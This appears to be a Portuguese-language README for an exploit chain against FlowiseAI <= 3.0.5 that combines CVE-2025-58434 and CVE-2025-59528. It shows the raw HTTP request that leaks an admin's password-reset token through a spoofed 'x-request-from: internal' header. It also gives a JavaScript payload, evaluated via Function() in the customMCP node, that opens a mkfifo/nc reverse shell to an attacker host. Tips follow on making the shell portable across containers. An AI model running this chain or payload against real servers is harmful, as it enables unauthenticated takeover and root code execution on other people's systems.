Cadeia de ataque crítica não autenticada levando a RCE completo no FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
Tomada de Conta Não Autenticada encadeada com Execução Remota de Código contra FlowiseAI
<= 3.0.5.
Comprometimento total do contêiner em menos de 5 segundos, zero credenciais necessárias.
Esquerda: página de login do FlowiseAI — Direita: shell root via CVE-2025-59528 · uid=0(root)
Este exploit encadeia duas vulnerabilidades críticas independentes em um único ataque totalmente automatizado. Nenhuma vulnerabilidade isolada garante o comprometimento completo — mas juntas, elas formam uma cadeia de ataque completa desde zero credenciais até um shell root dentro de um contêiner Docker.
[Sem credenciais]
│
▼
① Abusar do endpoint forgot-password (sem autenticação necessária)
│ → O servidor responde com o token de redefinição da vítima em texto simples
▼
② Enviar o token para o endpoint reset-password
│ → O atacante controla a senha do administrador
▼
③ Fazer login + obter a chave API Bearer
│ → Sessão autenticada completa estabelecida
▼
④ Enviar payload JavaScript via nó customMCP
│ → O servidor o avalia usando o construtor Function()
▼
[Shell root dentro do contêiner Docker]
O que torna a interação zero: em nenhum momento a vítima recebe um e-mail, vê um alerta de login ou desencadeia qualquer evento visível. O ataque é inteiramente do lado do servidor.
CVSS 3.1: 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Afetado: FlowiseAI <= 3.0.5 (nuvem + auto-hospedado)
Aviso: GHSA-wgpv-6j63-x5ph
O FlowiseAI tem um conceito de requisições "internas" — chamadas de API entre seus próprios serviços — identificadas pelo cabeçalho HTTP x-request-from: internal. O endpoint /api/v1/account/forgot-password usa este cabeçalho para pular a autenticação completamente e retornar uma resposta diferente e mais detalhada do que para chamadores externos.
O problema: este cabeçalho não é validado ou restrito de forma alguma. Qualquer atacante na internet pode enviá-lo. Quando isso acontece, em vez de disparar um e-mail de redefinição de senha, a API responde com o registro completo do usuário — incluindo um tempToken ativo que pode ser imediatamente usado para definir uma nova senha.
Normalmente, um fluxo de redefinição de senha se parece com:
Usuário solicita redefinição → Servidor gera token → Token enviado por E-MAIL → Usuário clica no link → Senha alterada
Aqui, o servidor pula a etapa do e-mail completamente e coloca o token diretamente no corpo da resposta HTTP. O atacante o captura e passa diretamente para a etapa de redefinição — sem necessidade de acesso ao e-mail.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — registro completo do usuário exposto{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
O tempToken é então enviado diretamente ao endpoint de redefinição — sem interação por e-mail, sem CAPTCHA, sem limite de taxa.

CVSS 3.1: 10.0 Crítico — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Afetado: FlowiseAI <= 3.0.5
Aviso: GHSA-3gcm-f6qx-ff7p
O FlowiseAI permite que usuários definam nós MCP (Model Context Protocol) personalizados com configuração do servidor fornecida como uma string JSON. Internamente, a plataforma precisa analisar essa configuração — e o faz usando o construtor Function() do JavaScript, que é funcionalmente equivalente a eval().
A string de configuração chega ao ponto de execução completamente sem sanitização:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — linha 262
const result = Function('return ' + mcpServerConfig)();
// ↑ entrada do usuário sem sanitização — execução arbitrária de JS
Function() é tão perigoso quanto eval()Function('return ' + code)() faz o seguinte:
code como seu corpoIsso dá ao atacante um contexto completo de execução JavaScript com acesso a process, require, child_process e todo o runtime Node.js — não uma sandbox.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← string controlada pelo atacante
└─ substituteVariablesInString() ← sem filtragem, passa direto
└─ convertToValidJSONString() ← sem filtragem, passa direto
└─ Function('return ' + input)() ← código arbitrário executa aqui
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
Por que
mkfifoe não/dev/tcp?
O contêiner executa/bin/sh, não/bin/bash./dev/tcpé um recurso exclusivo do bash — ele não existe em shells POSIX padrão.mkfifocria um pipe nomeado que funciona em qualquer shell compatível com POSIX, tornando o shell reverso portátil entre ambientes de contêiner.